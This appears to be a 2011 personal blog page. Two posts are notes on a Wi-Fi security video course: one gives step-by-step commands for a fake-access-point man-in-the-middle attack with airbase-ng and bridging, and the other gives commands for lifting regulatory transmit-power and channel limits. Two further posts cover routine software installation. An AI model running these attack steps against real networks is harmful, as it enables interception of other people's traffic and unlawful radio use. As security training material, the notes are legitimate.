SecurityTube, Wireless Lan Security Megaprimer notes: part 12 (A Man-In-The-Middle Attack)

October 24, 2011, 12:38 am

Vivek’s video is here.

In the unencrypted man in the middle attack, we deauth the client from the regular AP and reconnect it to our own fake AP.

We can either connect the client to a new wired (or 3G) internet connection or we can connect back to the real AP.

In our setup we’re going to get our victim to connect to our fake AP, and then send the traffic out to the internet via a different access point.

We’ll use the alfa card to create a fake AP. We’ll use the laptops built in wifi card to connect to our other AP.

0. Setup your network card in VirtualBox/VMWare, using “NAT” is probably your best option.

1. Bring up eth0 in backtrack

ifconfig eth0 up

2. Bring up an access point with SSID SecurityTube

ifconfig wlan0 up
airmon-ng start wlan0
iwconfig wlan0 channel 1
airbase-ng -ssid SecurityTube mon0

3. Bridge the interfaces

Run this in a new terminal window:

ifconfig at0 up
brctl addbr mitm
brctl show #will show the bridge, but no interfaces added
brctl addif mitm eth0
brctl addif mitm at0
ifconfig eth0 0.0.0.0 up  #not sure why this is needed!
ifconfig at0 0.0.0.0 up

If you do ifconfig, you’ll see a new bridge, mitm. Bring up the interface:

ifconfig mitm
dhclient3 mitm

The dhclient command, gets an IP address, this will come from the virtualbox dhcp server.

4. Go to the airbase-ng window. Connect a device to the fake network you created.

The device will get a IP address from VirtualBox.

5. Open up wireshark, start a capture on at0. Open a webpage on your client.

You should see a lot of traffic in wireshark. You should be able to view pages on your client via the laptops internet connect.

All packets have to go though us, this is a little better than passively sniffing cleartext packets and all packets /MUST/ go through us.

Tags: , , , ,
Category: Uncategorized  |  1 Comment

SecurityTube, Wireless Lan Security Megaprimer notes: part 11 (Alfa card “Kung Fu”)

October 23, 2011, 11:22 pm

Vivek’s video is here.

This video discusses the Alfa card in some detail. The frequency range the card operates on depends on your country. This limits which channels can be used, and the transmission power. Vivek shows us how to change the current country so as to increase the number of channels available and transmit power.

0. Start backtrack, leave the alfa card disconnected.

1. Monitor kernel messages in one terminal:

tail -f /var/log/messages

2. Plug in you alfa card.

3. You should see lines in your kernel messages that read:

cfg80211: Calling CRDA to update world regulatory domain
cfg80211: World regulatory domain updated:
cfg80211:      (start_freq - end_freq @ bandwidth), (max_antenna_gain, max eirp)
cfg80211:      (2402000 KHz - 2472000 KHx @ 40000 KHz), (300 mBi, 2000 mBm)
...

You can check these frequency ranges against the Wifi frequency table (wikipedia).

Transmit power is measured in dBm. 30dBm = 1W.

The table in kernel messages show EIRP (effecive isotropic radiated power). It’s a measure of the effective transmit power of a device calculated as:

EIRP = Transmit Power (in dBm) + Antenna Gain (in dBi) – Cable loss (in dBm)

4. Bring up the alfa card, and select channel 1.

Open another terminal and enter the following:

ifconfig wlan0 up
iwconfig wlan0 channel 1
iwconfig
[/sourecode]

In the iwconfig output you should see that the frequency is listed as 2.412GHz and it's transmiting at 20 dBm.

5. Change the transmit power of the card:

[sourcecode language="bash"]
iwconfig wlan0 txpower 30

You’ll notice if you try this you get an error as follows:

Error for wireless request "Set Tx Power" (8B26) :
    SET failed on device wlan0 ; Invalid argument.

However, we can switch our card between regulatory domains:

ifconfig wlan0 down
iw reg set US
ifconfig wlan0 up

Look at your kernel message terminal. You should see that the regulatory domain has change to the US. And that the eirp has change to 2700 mBm for channel 1.

Try changing the power again:

iwconfig wlan0 txpower 27

However if you setting the power beyond 27 you’ll still receive and error. Setting a channel of 12 or above will also cause the following error:

Error for wireless request "Set Frequency" (8B04)
    SET failed on device wlan0 ; Invalid argument.

The least restrictive countries are BO and BZ. You can set these are before as:

ifconfig wlan0 down
iw reg set BO
ifconfig wlan0 up
iwconfig wlan0 channel 13
iwconfig wlan0 txpower 30

You should receive no errors. However you should be aware that using the card in this manner may be illegal in your country.

Tags: , , , ,
Category: Uncategorized  |  2 Comments

Installing libsdl on MacOS Lion (from source)

October 21, 2011, 9:16 pm

There are binary distributions, but they didn’t do the job for me. It seems to be better to install from source (particularly if your not using it as a fancy framework):

#make sure you have XCode installed...
curl http://www.libsdl.org/release/SDL-1.2.14.tar.gz > SDL-1.2.14.tar.gz
tar xvzf SDL-1.2.14.tar.gz
./configure --disable-assembly
make
sudo make install
Category: Uncategorized  |  2 Comments

Ubuntu 10.04 Server VirtualBox Guest Additions Installation

October 21, 2011, 8:54 pm

I had some trouble installing VirtualBox Guest Additions on Ubuntu server on my Mac. I had to do the following:

From MacOS:

cp /Applications/VirtualBox.app/Contents/MacOS/VBoxGuestAdditions.iso ~

Attach the iso file above to VirtualBox.

As root on the Ubuntu system:

mkdir /mnt/cdrom
mount /dev/sr0 /mnt/cdrom
apt-get install gcc
/mnt/cdrom/VBoxLinuxAdditions.run
Category: Uncategorized  |  Comment
« Previous Entries
Next Entries »